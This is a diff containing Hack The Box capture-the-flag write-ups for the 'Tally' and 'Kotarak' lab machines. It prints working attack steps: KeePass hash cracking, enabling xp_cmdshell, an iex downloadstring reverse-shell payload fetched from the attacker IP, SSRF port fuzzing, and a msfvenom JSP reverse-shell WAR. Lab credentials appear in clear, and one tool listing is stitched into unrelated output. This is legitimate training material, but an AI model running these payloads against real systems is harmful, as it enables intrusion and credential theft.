[ /dev/pts/16 ] [~/_HTB/Tally] + → file ftp-details.docx + ftp-details.docx: Zip archive data, at least v1.0 to extract + + [ 10.10.14.6/23 ] [ /dev/pts/3 ] [~/_HTB/Tally] + → lowriter ftp-details.docx + + +` ![](prg/6/4.png) + +So we can add that domain name to our hosts file: + + + [ 10.10.14.6/23 ] [ /dev/pts/6 ] [~/_HTB/Tally] + → sudo vim /etc/hosts + + 10.10.10.59 tally.htb tally.htb.local + + +And on Site Pages you're supposed to get a file called "FinanceTeam" + +![](prg/6/3.png) ![](prg/6/5.png) + +So here we're hinted towards a ftp_user account for the "intranet folder", so we could have credentials from what we gathered so far : **ftp_user:UTDRSCH53c"$6hys**. And obviously we're going to try to login via ftp since our nmap scan picked up port 21: + + + [ 10.10.14.6/23 ] [ /dev/pts/8 ] [~] + → ftp 10.10.10.59 + Connected to 10.10.10.59. + 220 Microsoft FTP Service + Name (10.10.10.59:nothing): ftp_user + 331 Password required + Password: + 230 User logged in. + Remote system type is Windows_NT. + ftp> dir + 200 PORT command successful. + 125 Data connection already open; Transfer starting. + 08-31-17 10:51PM <****DIR> From-Custodian + 10-01-17 10:37PM <****DIR> Intranet + 08-28-17 05:56PM <****DIR> Logs + 09-15-17 08:30PM <****DIR> To-Upload + 09-17-17 08:27PM <****DIR> User + 226 Transfer complete. + ftp> exit + 221 Goodbye. + +And here we get a few directories so let's just use wget to get what they contain recursively: + + + [ 10.10.14.6/23 ] [ /dev/pts/8 ] [_HTB/Tally/ftp] + → wget --mirror 'ftp://ftp_user:UTDRSCH53c"$6hys@tally.htb.local' + --2020-12-22 23:06:07-- ftp://ftp_user:*password*@tally.htb.local/ + => ‘tally.htb.local/.listing’ + Resolving tally.htb.local (tally.htb.local)... 10.10.10.59 + Connecting to tally.htb.local (tally.htb.local)|10.10.10.59|:21... connected. + Logging in as ftp_user ... Logged in! + ==> SYST ... done. ==> PWD ... done. + ==> TYPE I ... done. ==> CWD not needed. + ==> PASV ... done. ==> LIST ... done. + + tally.htb.local/.listing [ <=> ] 244 --.-KB/s in 0s + + ==> PASV ... done. ==> LIST ... done. + + [...] + + +And now let's go through what we're downloading: + + + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [_HTB/Tally/ftp] + → du -hs tally.htb.local + 99M tally.htb.local + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [_HTB/Tally/ftp] + → tree tally.htb.local + tally.htb.local + ├── From-Custodian + │   ├── RED-528103410.log + │   ├── RED-528113411.log + │   ├── RED-528123412.log + │   ├── RED-528133413.log + │   ├── RED-5281341.log + │   ├── RED-528143414.log + │   ├── RED-528153415.log + │   ├── RED-528163416.log + │   ├── RED-528173417.log + │   ├── RED-528183418.log + │   ├── RED-528193419.log + │   ├── RED-528203420.log + │   ├── RED-528213421.log + │   ├── RED-528223422.log + │   ├── RED-528233423.log + │   ├── RED-5282342.log + │   ├── RED-528243424.log + │   ├── RED-528253425.log + │   ├── RED-528263426.log + │   ├── RED-528273427.log + │   ├── RED-528283428.log + │   ├── RED-528293429.log + │   ├── RED-528303430.log + │   ├── RED-528313431.log + │   ├── RED-528323432.log + │   ├── RED-528333433.log + │   ├── RED-5283343.log + │   ├── RED-528343434.log + │   ├── RED-528353435.log + │   ├── RED-528363436.log + │   ├── RED-528373437.log + │   ├── RED-528383438.log + │   ├── RED-528393439.log + │   ├── RED-528403440.log + │   ├── RED-528413441.log + │   ├── RED-528423442.log + │   ├── RED-528433443.log + │   ├── RED-5284344.log + │   ├── RED-528443444.log + │   ├── RED-528453445.log + │   ├── RED-528463446.log + │   ├── RED-528473447.log + │   ├── RED-528483448.log + │   ├── RED-528493449.log + │   ├── RED-528503450.log + │   ├── RED-5285345.log + │   ├── RED-5286346.log + │   ├── RED-5287347.log + │   ├── RED-5288348.log + │   └── RED-5289349.log + ├── Intranet + │   └── Binaries + │   └── Firefox Setup 44.0.2.exe + ├── Logs + │   ├── ftp_connect_8235771490510.txt + │   ├── ftp_connect_8235771490511.txt + │   ├── ftp_connect_8235771490512.txt + │   ├── ftp_connect_8235771490513.txt + │   ├── ftp_connect_8235771490514.txt + │   ├── ftp_connect_8235771490515.txt + │   ├── ftp_connect_8235771490516.txt + │   ├── ftp_connect_8235771490517.txt + │   ├── ftp_connect_8235771490518.txt + │   ├── ftp_connect_8235771490519.txt + │   ├── ftp_connect_823577149051.txt + │   ├── ftp_connect_8235771490520.txt + │   ├── ftp_connect_8235771490521.txt + │   ├── ftp_connect_8235771490522.txt + │   ├── ftp_connect_8235771490523.txt + │   ├── ftp_connect_8235771490524.txt + │   ├── ftp_connect_8235771490525.txt + │   ├── ftp_connect_8235771490526.txt + │   ├── ftp_connect_8235771490527.txt + │   ├── ftp_connect_8235771490528.txt + │   ├── ftp_connect_8235771490529.txt + │   ├── ftp_connect_823577149052.txt + │   ├── ftp_connect_8235771490530.txt + │   ├── ftp_connect_8235771490531.txt + │   ├── ftp_connect_8235771490532.txt + │   ├── ftp_connect_8235771490533.txt + │   ├── ftp_connect_8235771490534.txt + │   ├── ftp_connect_8235771490535.txt + │   ├── ftp_connect_8235771490536.txt + │   ├── ftp_connect_8235771490537.txt + │   ├── ftp_connect_8235771490538.txt + │   ├── ftp_connect_8235771490539.txt + │   ├── ftp_connect_823577149053.txt + │   ├── ftp_connect_8235771490540.txt + │   ├── ftp_connect_8235771490541.txt + │   ├── ftp_connect_8235771490542.txt + │   ├── ftp_connect_8235771490543.txt + │   ├── ftp_connect_8235771490544.txt + │   ├── ftp_connect_8235771490545.txt + │   ├── ftp_connect_8235771490546.txt + │   ├── ftp_connect_8235771490547.txt + │   ├── ftp_connect_8235771490548.txt + │   ├── ftp_connect_8235771490549.txt + │   ├── ftp_connect_823577149054.txt + │   ├── ftp_connect_8235771490550.txt + │   ├── ftp_connect_823577149055.txt + │   ├── ftp_connect_823577149056.txt + │   ├── ftp_connect_823577149057.txt + │   ├── ftp_connect_823577149058.txt + │   └── ftp_connect_823577149059.txt + ├── To-Upload + │   ├── employees-id_number.xlsx + │   └── Invoices.zip + └── User + ├── Administrator + │   └── New folder + ├── Ekta + │   ├── OFSI_quick_guide_flyer.pdf + │   └── PSAIS_1_April_2017.pdf + ├── Jess + │   └── actu8-espreadsheet-designer-datasheet.pdf + ├── Paul + │   ├── financial-list-guide.pdf + │   ├── financial_sanctions_guidance_august_2017.pdf + │   ├── Monetary_penalties_for_breaches_of_financial_sanctions.pdf + │   └── New folder + ├── Rahul + │   └── Mockups-Backup + ├── Sarah + │   ├── MBSASetup-x64-EN.msi + │   ├── notes.txt + │   └── Windows-KB890830-x64-V5.52.exe + ├── Stuart + │   ├── customers - Copy.csv + │   └── Unit4-Connect-Financials-Agenda.pdf + ├── Tim + │   ├── Files + │   │   ├── bonus.txt + │   │   ├── KeePass-2.36 + │   │   │   ├── KeePass.chm + │   │   │   ├── KeePass.exe + │   │   │   ├── KeePass.exe.config + │   │   │   ├── KeePassLibC32.dll + │   │   │   ├── KeePassLibC64.dll + │   │   │   ├── KeePass.XmlSerializers.dll + │   │   │   ├── License.txt + │   │   │   ├── Plugins + │   │   │   ├── ShInstUtil.exe + │   │   │   └── XSL + │   │   │   ├── KDBX_Common.xsl + │   │   │   ├── KDBX_DetailsFull_HTML.xsl + │   │   │   ├── KDBX_DetailsLight_HTML.xsl + │   │   │   ├── KDBX_PasswordsOnly_TXT.xsl + │   │   │   └── KDBX_Tabular_HTML.xsl + │   │   └── tim.kdbx + │   └── Project + │   ├── Communications + │   ├── Log + │   │   └── do to.txt + │   └── Vendors + └── Yenwi + └── Archive + + 27 directories, 130 files + + +And here we see something interesting, there is a keepass kdbx file in User/Tim/Files/tim.kdbx, so we're going to use keepass2john to extract the hash we need: + + + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [User/Tim/Files] + → keepass2john tim.kdbx + tim:$keepass$*2*6000*0*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da + + + +Save the hash somewhere, then use hashcat to crack it: + + + hashcat -m 13400 tim.hash /usr/share/wordlists/rockyou.txt + + + +and once it finishes hashcat gives us the password we need : simplementeyo + +![](prg/6/5.png) ![](prg/6/6.png) ![](prg/6/7.png) + +And we have new credentials! Finance:Acc0unting, and cisco:cisco123. So first let's investigate the ACCT share the keepass file hints us towards: + + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [User/Tim/Files] + → sudo -i + [sudo] password for nothing: + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [~] + → mkdir /mnt/smb + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [~] + → mount -t cifs -o username=Finance password=Acc0unting //10.10.10.59/ACCT /mnt/smb + mount: bad usage + Try 'mount --help' for more information. + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [~] + → mount -t cifs -o username=Finance //10.10.10.59/ACCT /mnt/smb + 🔐 Password for Finance@//10.10.10.59/ACCT: ********** + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [/mnt/smb] + →cd /mnt/smb + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [/mnt/smb] + → ls -l + total 0 + drwxr-xr-x 2 root root 0 Sep 17 2017 Customers + drwxr-xr-x 2 root root 0 Aug 28 2017 Fees + drwxr-xr-x 2 root root 0 Aug 28 2017 Invoices + drwxr-xr-x 2 root root 0 Sep 17 2017 Jess + drwxr-xr-x 2 root root 0 Aug 28 2017 Payroll + drwxr-xr-x 2 root root 0 Sep 1 2017 Reports + drwxr-xr-x 2 root root 0 Sep 17 2017 Tax + drwxr-xr-x 2 root root 0 Sep 13 2017 Transactions + drwxr-xr-x 2 root root 0 Sep 15 2017 zz_Archived + drwxr-xr-x 2 root root 0 Sep 17 2017 zz_Migration + + + +So the goal here was to navigate into zz_Migration/Binaries/New\ Folder + + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [/mnt/smb] + → cd zz_Migration/Binaries/New\ Folder + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [zz_Migration/Binaries/New Folder] + → ls -l + total 676308 + -rwxr-xr-x 1 root root 389188014 Sep 13 2017 crystal_reports_viewer_2016_sp04_51051980.zip + -rwxr-xr-x 1 root root 18159024 Sep 11 2017 Macabacus2016.exe + -rwxr-xr-x 1 root root 21906356 Aug 30 2017 Orchard.Web.1.7.3.zip + -rwxr-xr-x 1 root root 774200 Sep 17 2017 putty.exe + -rwxr-xr-x 1 root root 483824 Sep 15 2017 RpprtSetup.exe + -rwxr-xr-x 1 root root 254599112 Sep 11 2017 tableau-desktop-32bit-10-3-2.exe + -rwxr-xr-x 1 root root 215552 Sep 1 2017 tester.exe + -rwxr-xr-x 1 root root 7194312 Sep 13 2017 vcredist_x64.exe + + + +And here you had to extract passwords out of tester.exe using strings: + + + [ 10.10.14.6/23 ] [ /dev/pts/9 ] [zz_Migration/Binaries/New Folder] + → strings tester.exe | grep SQL + SQLSTATE: + DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G; + + + +So here we have credentials for a SQL server on port 1433 : sa:GWE3V65#6KFH93@4GWTG2G + + + [ 10.10.14.6/23 ] [ /dev/pts/11 ] [~] + → sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G + sqsh-2.5.16.1 Copyright (C) 1995-2001 Scott C. Gray + Portions Copyright (C) 2004-2014 Michael Peppler and Martin Wesdorp + This is free software with ABSOLUTELY NO WARRANTY + For more information type '\warranty' + 1> xp_cmdshell 'id' + 2> go + Msg 15281, Level 16, State 1 + Server 'TALLY', Procedure 'xp_cmdshell', Line 1 + SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the + security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more + information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online. + 1> + + + +So we're connected but component xp_cmdshell is turned off, so let's turn it on: + + + 1> EXEC SP_CONFIGURE 'xp_cmdshell',1 + 2> reconfigure + 3> go + Msg 15123, Level 16, State 1 + Server 'TALLY', Procedure 'sp_configure', Line 62 + The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option. + (return status = 1) + + + +And it seems like the xp_cmdshell option doesn't exist, so let's enable advanced options: + + + 1> EXEC SP_CONFIGURE 'show advanced options', 1 + 2> reconfigure + 3> go + Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install. + (return status = 0) + 1> EXEC SP_CONFIGURE 'xp_cmdshell', 1 + 2> reconfigure + 3> go + Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install. + (return status = 0) + + 1> xp_cmdshell "whoami" + 2> go + + output + ------------------------------------------------------------------------------------------------------------------------------------- + --------------------------------------------------------------------------------------------------------------------------------------------- + --------------------------------------------------------------------------------------------------------------------------------------------- + ------------------------------------------------------------------------------------------------- + + tally\sarah + NULL + (2 rows affected, return status = 0) + + +And there we have it, we have code execution as the sarah user: + + + + 1> xp_cmdshell "whoami /priv" + 2> go + output + ------------------------------------------------------------------------------------------------------------------------------------- + --------------------------------------------------------------------------------------------------------------------------------------------- + --------------------------------------------------------------------------------------------------------------------------------------------- + ------------------------------------------------------------------------------------------------- + + NULL + PRIVILEGES INFORMATION + ---------------------- + NULL + Privilege Name Description State + ============================= ========================================= ======== + SeAssignPrimaryTokenPrivilege Replace a process level token Disabled + SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled + SeChangeNotifyPrivilege Bypass traverse checking Enabled + **SeImpersonatePrivilege Impersonate a client after authentication Enabled** + SeCreateGlobalPrivilege Create global objects Enabled + SeIncreaseWorkingSetPrivilege Increase a process working set Disabled + NULL + (13 rows affected, return status = 0) + + +And here we see that the SeImpersonatePrivilege is set to enabled therefore we should be able to do rottenpotato on this machine, but before that let's get a reverse shell using nishang's [InvokePowershellTcp.ps1](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1) + + + [ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally] + → wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 + --2020-12-23 17:21:02-- https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.36.133 + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.36.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 4339 (4.2K) [text/plain] + Saving to: ‘Invoke-PowerShellTcp.ps1’ + + Invoke-PowerShellTcp.ps1 100%[=======================================>] 4.24K --.-KB/s in 0s + + 2020-12-23 17:21:02 (21.8 MB/s) - ‘Invoke-PowerShellTcp.ps1’ saved [4339/4339] + + + [ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally] + → echo 'Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001' >> Invoke-PowerShellTcp.ps1 + + [ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally] + → cat Invoke-PowerShellTcp.ps1 | tail -n2 + + Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001 + + [ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally] + → cat Invoke-PowerShellTcp.ps1 | tail -n5 + Write-Error $_ + } + } + + Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.6 -Port 9001 + + [ 10.10.14.6/23 ] [ /dev/pts/14 ] [~/_HTB/Tally] + → mv Invoke-PowerShellTcp.ps1 rev9001.ps1 + + + +` ![](prg/6/7.png) ![](prg/6/8.png) + + + [ 10.10.14.6/23 ] [ /dev/pts/25 ] [~/_HTB/Tally] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.6] from (UNKNOWN) [10.10.10.59] 56942 + Windows PowerShell running as user Sarah on TALLY + Copyright (C) 2015 Microsoft Corporation. All rights reserved. + + PS C:\Windows\system32>whoami + tally\sarah + PS C:\Windows\system32> cd / + PS C:\> cd Users + PS C:\Users> dir + + + Directory: C:\Users + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + d----- 18/09/2017 22:35 .NET v2.0 + d----- 18/09/2017 22:35 .NET v2.0 Classic + d----- 30/08/2017 01:14 .NET v4.5 + d----- 30/08/2017 01:14 .NET v4.5 Classic + d----- 17/09/2017 21:33 Administrator + d----- 18/09/2017 22:35 Classic .NET AppPool + d-r--- 21/11/2016 01:24 Public + d----- 13/10/2017 23:57 Sarah + d----- 12/10/2017 21:28 SQLSERVERAGENT + d----- 02/09/2017 22:46 SQLTELEMETRY + d----- 13/09/2017 21:27 Tim + + + PS C:\Users> cd Sarah + PS C:\Users\Sarah> cd Desktop + PS C:\Users\Sarah\Desktop> dir + + + Directory: C:\Users\Sarah\Desktop + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -ar--- 01/10/2017 22:32 916 browser.bat + -a---- 17/09/2017 21:50 845 FTP.lnk + -a---- 23/09/2017 21:11 297 note to tim (draft).txt + -a---- 19/10/2017 21:49 17152 SPBestWarmUp.ps1 + -a---- 19/10/2017 22:48 11010 SPBestWarmUp.xml + -a---- 17/09/2017 21:48 1914 SQLCMD.lnk + -a---- 21/09/2017 00:46 129 todo.txt + -ar--- 31/08/2017 02:04 32 user.txt + -a---- 17/09/2017 21:49 936 zz_Migration.lnk + + + PS C:\Users\Sarah\Desktop> type user.txt + beXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And there you go! We have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc on this box we need to first take a look at sarah's desktop files: + + + + PS C:\Users\Sarah\Desktop> dir + + + Directory: C:\Users\Sarah\Desktop + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -ar--- 01/10/2017 22:32 916 browser.bat + -a---- 17/09/2017 21:50 845 FTP.lnk + -a---- 23/09/2017 21:11 297 note to tim (draft).txt + -a---- 19/10/2017 21:49 17152 SPBestWarmUp.ps1 + -a---- 19/10/2017 22:48 11010 SPBestWarmUp.xml + -a---- 17/09/2017 21:48 1914 SQLCMD.lnk + -a---- 21/09/2017 00:46 129 todo.txt + -ar--- 31/08/2017 02:04 32 user.txt + -a---- 17/09/2017 21:49 936 zz_Migration.lnk + + + PS C:\Users\Sarah\Desktop> type "note to tim (draft).txt" + Hi Tim, + + As discussed in the cybersec meeting, malware is often hidden in trusted executables in order to evade detection. I read somewhere that cmd.exe is a common target for backdooring, so I've gone ahead and disallowed any cmd.exe outside the Windows folder from executing. + + Thanks, + Sarah + + + +Basically here there are multiple ways to privesc, the first one being found in SPBestWarmUp.ps1 which basically is a script we can write to that is being executed every hour by the administrator account, so we're going to put in our second reverse shell payload: + + + PS C:\Users\Sarah\Desktop> echo "iex(new-object net.webclient).downloadstring('http://10.10.14.6:9005/rev9006.ps1')" > SPBestWarmUp.ps1 + + + + + [ 10.10.14.6/23 ] [ /dev/pts/25 ] [~/_HTB/Tally] + → nc -lvnp 9006 + listening on [any] 9006 ... + connect to [10.10.14.6] from (UNKNOWN) [10.10.10.59] 56986 + Windows PowerShell running as user Administrator on TALLY + Copyright (C) 2015 Microsoft Corporation. All rights reserved. + + PS C:\Users\Sarah\Desktop>whoami + tally\administrator + + PS C:\Users\Sarah\Desktop>cd C:\Users\Administrator\Desktop + + PS C:\Users\Administrator\Desktop>type root.txt + 60XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And there we have it! + +## **Conclusion** + +Here we can see the progress graph : + +![](img/7_graph.png) + diff --git a/Hard/7.md b/Hard/7.md new file mode 100644 index 0000000..910cc56 --- /dev/null +++ b/Hard/7.md @@ -0,0 +1,628 @@ +# Kotarak Writeup + +![](img/6.png) + +## Introduction : + +Kotarak is a hard linux box released back in september 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.55 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Discovered open port 8080/tcp on 10.10.10.55 + Discovered open port 22/tcp on 10.10.10.55 + Discovered open port 8009/tcp on 10.10.10.55 + Discovered open port 60000/tcp on 10.10.10.55 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~] + → sudo nmap -sCV -p8080,22,8009,60000 10.10.10.55 + Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-21 22:50 CET + Nmap scan report for 10.10.10.55 + Host is up (0.034s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 e2:d7:ca:0e:b7:cb:0a:51:f7:2e:75:ea:02:24:17:74 (RSA) + | 256 e8:f1:c0:d3:7d:9b:43:73:ad:37:3b:cb:e1:64:8e:e9 (ECDSA) + |_ 256 6d:e9:26:ad:86:02:2d:68:e1:eb:ad:66:a0:60:17:b8 (ED25519) + 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) + | ajp-methods: + | Supported methods: GET HEAD POST PUT DELETE OPTIONS + | Potentially risky methods: PUT DELETE + |_ See https://nmap.org/nsedoc/scripts/ajp-methods.html + 8080/tcp open http Apache Tomcat 8.5.5 + |_http-favicon: Apache Tomcat + | http-methods: + |_ Potentially risky methods: PUT DELETE + |_http-title: Apache Tomcat/8.5.5 - Error report + 60000/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Kotarak Web Hosting + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 52.68 seconds + + + +## **Part 2 : Getting User Access** + +As our nmap scan points out, port 8080 seems to be interesting so let's investigate it: + +![](prg/7/1.png) + +Most apache tomcat services have an important directory in /manager/html as you can see: + +![](prg/7/2.png) + +Now here you can't bruteforce the password here because the service will block the account so let's keep poking around another port that our nmap scan picked up: + +![](prg/7/3.png) + +and here we get an interesting page with a url prompt so we're going to use burpsuite's repeater on it: + +![](prg/7/4.png) ![](prg/7/5.png) ![](prg/7/6.png) + +So here we see there's a regex that matches the word file so we can't print out the files on the machine, next is we try if we can find local ports: + +![](prg/7/6.png) + +It works for port 60000 but we know that already, let's use wfuzz to enumerate: + + + [ 10.10.14.6/23 ] [ /dev/pts/7 ] [~/_HTB/Kotarak] + → wfuzz -c -z range,1-65535 http://10.10.10.55:60000/url.php\?path\=http://localhost:FUZZ + /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ + Total requests: 65535 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000001: 200 2 L 0 W 2 Ch "1" + 000000039: 200 2 L 0 W 2 Ch "39" + 000000015: 200 2 L 0 W 2 Ch "15" + 000000003: 200 2 L 0 W 2 Ch "3" + 000000007: 200 2 L 0 W 2 Ch "7" + 000000031: 200 2 L 0 W 2 Ch "31" + 000000034: 200 2 L 0 W 2 Ch "34" + 000000033: 200 2 L 0 W 2 Ch "33" + 000000030: 200 2 L 0 W 2 Ch "30" + 000000029: 200 2 L 0 W 2 Ch "29" + 000000032: 200 2 L 0 W 2 Ch "32" + 000000028: 200 2 L 0 W 2 Ch "28"[ 10.10.14.6/23 ] [ /dev/pts/18 ] [~] + → msfvenom -l payloads + + 000000038: 200 2 L 0 W 2 Ch "38" + 000000027: 200 2 L 0 W 2 Ch "27" + 000000023: 200 2 L 0 W 2 Ch "23" + 000000024: 200 2 L 0 W 2 Ch "24" + 000000025: 200 2 L 0 W 2 Ch "25" + 000000026: 200 2 L 0 W 2 Ch "26" + 000000022: 200 4 L 4 W 62 Ch "22" + 000000021: 200 2 L 0 W 2 Ch "21" + 000000020: 200 2 L 0 W 2 Ch "20" + 000000014: 200 2 L 0 W 2 Ch "14" + 000000017: 200 2 L 0 W 2 Ch "17" + 000000018: 200 2 L 0 W 2 Ch "18" + 000000019: 200 2 L 0 W 2 Ch "19" + 000000016: 200 2 L 0 W 2 Ch "16" + 000000013: 200 2 L 0 W 2 Ch "13" + 000000012: 200 2 L 0 W 2 Ch "12" + 000000008: 200 2 L 0 W 2 Ch "8" + 000000011: 200 2 L 0 W 2 Ch "11" + 000000009: 200 2 L 0 W 2 Ch "9" + 000000006: 200 2 L 0 W 2 Ch "6" + 000000010: 200 2 L 0 W 2 Ch "10" + 000000005: 200 2 L 0 W 2 Ch "5" + 000000002: 200 2 L 0 W 2 Ch "2" + 000000054: 200 2 L 0 W 2 Ch "54" + 000000004: 200 2 L 0 W 2 Ch "4" + 000000042: 200 2 L 0 W 2 Ch "42" + 000000046: 200 2 L 0 W 2 Ch "46" + + + +here we can see the junk responses that are only 2 responses characters long, therefore we're going to filter out the 2 chars long responses with the option --hl=2 : + + + + [ 10.10.14.6/23 ] [ /dev/pts/7 ] [~/_HTB/Kotarak] + → wfuzz -c -z range,1-65535 --hl=2 http://10.10.10.55:60000/url.php\?path\=http://localhost:FUZZ + /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. + ******************************************************** + * Wfuzz 3.1.0 - The Web Fuzzer * + ******************************************************** + + Target: http://10.10.10.55:60000/url.php?path=http://localhost:FUZZ + Total requests: 65535 + + ===================================================================== + ID Response Lines Word Chars Payload + ===================================================================== + + 000000022: 200 4 L 4 W 62 Ch "22" + 000000090: 200 11 L 18 W 156 Ch "90" + 000000110: 200 17 L 24 W 187 Ch "110" + 000000200: 200 3 L 2 W 22 Ch "200" + 000000320: 200 26 L 109 W 1232 Ch "320" + 000000888: 200 78 L 265 W 3955 Ch "888" + + Total time: 262.3381 + Processed Requests: 54927 + Filtered Requests: 54921 + Requests/sec.: 209.3748 + + /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 28: Operation timed out after 90000 milliseconds with 0 bytes received + + + +So here we have a few interesting responses : port 22, 90, 110, 200, 320, and 888. you would have to test each one of them but the important one right now is 888: + +![](prg/7/8.png) + +Do ctrl+U to view sourcecode: + +![](prg/7/9.png) + +and navigate to ?doc=backup: + +![](prg/7/10.png) + +select url and CTRL+U to url encode it: + +![](prg/7/11.png) + +and we found some credentials ! admin:3@g01PdhB! So let's try to login on the tomcat login page we found earlier at http://10.10.10.55:8080/manager/html + +![](prg/7/12.png) + +And we now have access to the tomcat web manager, From here we want to upload a malicious WAR file to get us a shell. + + + [ 10.10.14.6/23 ] [ /dev/pts/18 ] [~] + → msfvenom -l payloads | grep java + java/jsp_shell_bind_tcp Listen for a connection and spawn a command shell + java/jsp_shell_reverse_tcp Connect back to attacker and spawn a command shell + java/meterpreter/bind_tcp Run a meterpreter server in Java. Listen for a connection + java/meterpreter/reverse_http Run a meterpreter server in Java. Tunnel communication over HTTP + java/meterpreter/reverse_https Run a meterpreter server in Java. Tunnel communication over HTTPS + java/meterpreter/reverse_tcp Run a meterpreter server in Java. Connect back stager + java/shell/bind_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Listen for a connection + java/shell/reverse_tcp Spawn a piped command shell (cmd.exe on Windows, /bin/sh everywhere else). Connect back stager + java/shell_reverse_tcp Connect back to attacker and spawn a command shell + + + +Here we want msvenom's java/jsp_shell_reverse_tcp + + + [ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Kotarak] + → msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.6 LPORT=9090 -f war > ippsecrocks.war + Payload size: 1093 bytes + Final size of war file: 1093 bytes + + [ 10.10.14.6/23 ] [ /dev/pts/18 ] [~/_HTB/Kotarak] + → l + total 12K + drwxr-xr-x 2 nothing nothing 4.0K Dec 22 14:17 . + drwxr-xr-x 5 nothing nothing 4.0K Dec 21 17:43 .. + -rw-r--r-- 1 nothing nothing 1.1K Dec 22 14:17 ippsecrocks.war + + + +` ![](prg/7/13.png) ![](prg/7/14.png) + +Now that we got a shell, let's upgrade it to a fully interactive shell: + + + [ 10.10.14.6/23 ] [ /dev/pts/15 ] [~] + → nc -lvnp 9090 + listening on [any] 9090 ... + connect to [10.10.14.6] from (UNKNOWN) [10.10.10.55] 42176 + id + uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat) + which python + /usr/bin/python + python -c 'import pty;pty.spawn("/bin/bash")' + tomcat@kotarak-dmz:/$ ^Z + [1] + 257499 suspended nc -lvnp 9090 + + [ 10.10.14.6/23 ] [ /dev/pts/15 ] [~] + → stty raw -echo ; fg + [1] + 257499 continued nc -lvnp 9090 + + tomcat@kotarak-dmz:/$ + + +What you need to remember to get a fully interactive reverse shell is the following: + + 